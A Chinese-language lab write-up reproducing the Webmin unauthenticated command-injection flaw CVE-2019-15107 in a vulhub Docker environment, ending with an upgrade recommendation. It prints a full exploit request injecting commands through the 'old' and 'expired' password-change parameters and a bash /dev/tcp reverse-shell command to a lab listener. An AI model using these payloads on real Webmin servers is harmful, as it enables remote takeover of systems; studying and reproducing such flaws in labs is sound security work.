天天看點

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

0x01 概述

Webmin是目前功能最強大的基于Web的Unix系統管理工具。管理者通過浏覽器通路Webmin的各種管理功能并完成相應的管理動作。在其找回密碼頁面中,存在一處無需權限的指令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統指令。當版本為1.890時,工具在預設配置下易受漏洞的威脅,而在其它版本當使用者開啟密碼過期政策時,受該漏洞威脅。

官方給的修補是直接删除了代碼中的

qx/..../

,而且該應用在官方提供的sourceforge下載下傳的源碼才包含這個漏洞,而官方Github上的代碼是安全的。這也證明這個RCE漏洞很有可能是一次供應鍊攻擊,黑客控制了官方sourceforge賬戶并植入了後門。

大佬的文章非常清晰明了,可以看看:

https://blog.csdn.net/qq_43380549/article/details/100011292

0x02 影響版本

webmin=1.882-1.920

條件:1.890版本,漏洞點的觸發隻需要在修改密碼處傳一個expired參數執行指令即可。不需要passwd_mode=2的必要條件。除1.890版本,其餘受影響的版本的伺服器的配置檔案需passwd_mode=2的條件。無需使用者名密碼,可執行任意指令。

0x03 漏洞環境

centos+docker(CVE-2019-15107) webmin 1.910

1、通路

https://192.168.178.128:10000

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

2、登入前去修改一下root的密碼(不然登不進去),

docker exec -it 0cfbca18f396 /bin/bash

,目前版本需要進webmin容器裡開啟密碼重置功能

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

3、登陸後,

Webmin-> Webmin Configuration-> Authentication

把“允許使用者使用舊密碼設定新密碼”的選項給選上,儲存!vulhub的預設是選上了的。

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

4、檢視配置檔案

cat /etc/webmin/miniserv.conf

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

0x04 漏洞複現

該漏洞利用條件簡單,無需登入,直接發送post請求包即可,需保證Host和Referer都為

https://IP:10000

一、指令執行:

1、抓取修改密碼處的包

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)
【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

2、将請求改為

password_change.cgi

,post資料包中的參數也需要改一下,利用點在old參數處,利用

|

符号執行指令,這裡root使用者是Linux系統的root使用者,linux系統的使用者認證方式為Unix authenticaton,是以會受限制;使用者為空、随便寫或使用者為webmin使用者,認證方式為無。

原:

user=root&one=&new=12345678&repeat=12345678&others=1

改:

user=tttt&old=11|id&new1=12345678&new2=12345678&others=1

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

3、1.890版本利用隻需要在post資料中有expired參數,expired=whoami就可以執行。

4、1.9.10版本請求包:

POST /password_change.cgi HTTP/1.1
Host: 192.168.178.128:10000
Connection: close
Content-Length: 57
X-PJAX-URL: save_passwd.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: text/plain;charset=UTF-8
X-Requested-From: passwd
Accept: text/html, */*; q=0.01
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
Origin: https://192.168.178.128:10000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.128:10000/passwd/edit_passwd.cgi?user=root&xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sid=df8de950b9d2b05f1822332afda5ba44; sessiontest=1

user=root1&old=11|id&new1=12345678&new2=12345678&others=1
           

4、指令執行成功

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

二、反彈shell:

1、将

bash -c "bash -i >& /dev/tcp/192.168.178.3/4444 0>&1"

指令使用URL編碼後放到可執行指令的參數後

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

2、執行後傳回空白,同時收到shell,反彈成功

【漏洞複現】Webmin 遠端指令執行漏洞(CVE-2019-15107)

0x05 修複建議

更新到1.930版本

繼續閱讀